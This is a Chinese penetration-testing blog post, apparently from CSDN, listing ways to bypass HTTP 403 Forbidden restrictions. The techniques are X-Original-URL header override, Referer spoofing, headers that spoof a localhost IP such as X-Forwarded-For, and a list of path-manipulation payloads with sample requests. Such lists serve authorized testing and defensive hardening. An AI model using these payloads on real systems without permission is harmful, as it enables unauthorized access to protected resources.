渗透测试 403绕过~~~满满的干货

1、请求覆盖绕过

  1. 可以通过X-Original-URL 和 X-Rewrite-URL请求表头覆盖url中的路径,尝试绕过对更高级别的缓存和web服务器的限制

  2. Request
    GET /ylaq/Good HTTP/1.1
    Response
    HTTP/1.1 403 Forbidden
    
    Reqeust
    GET / HTTP/1.1
    X-Original-URL: /ylaq/Good
    Response
    HTTP/1.1 200 OK
    

2、Referer表头绕过

  1. 可以通过更改Referer来绕过不严谨的服务端验证

  2. Request
    GET /ylaq/Good HTTP/1.1
    Host: xxx
    Response
    HTTP/1.1 403 Forbidden
    
    Reqeust
    GET / HTTP/1.1
    Host: xxx
    ReFerer:https://xxx/ylaq/Good
    Response
    HTTP/1.1 200 OK
    

3、代理ip

  1. 在Reqeust包中也会包含有我们的IP来源信息,有的资源只允许它本机或者内网IP进行访问,这个时候我们就可以通过使用代理IP来绕过这一限制。

  2. X-Forwarded-For: 127.0.0.1
    X-Originating-IP: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Host: 127.0.0.1
    

4、请求路径绕过

  1. 如果我们直接去访问/ylaq/Good这个目录可能是403Forbidden,那么我们可以尝试在后面加个‘/’,即访问/ylaq/Good/,有可能成功绕过,下面整理了一些常用的绕过情况。

  2. 
    ylaq.com/Good => 403
    ylaq.com/Good/ => 200
    ylaq.com/Good// => 200
    ylaq.com//Good// => 200
    ylaq.com/Good/* => 200
    ylaq.com/Good/*/ => 200
    ylaq.com/Good/. => 200
    ylaq.com/Good/./ => 200
    ylaq.com/./Good/./ => 200
    ylaq.com/Good/./. => 200
    ylaq.com/Good/./. => 200
    ylaq.com/Good? => 200
    ylaq.com/Good?? => 200
    ylaq.com/Good??? => 200
    ylaq.com/Good..;/ => 200
    ylaq.com/Good/..;/ => 200
    ylaq.com/%2f/Good => 200
    ylaq.com/%2e/Good => 200
    ylaq.com/Good%20/ => 200
    ylaq.com/Good%09/ => 200
    ylaq.com/%20Good%20/ => 200
    
  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值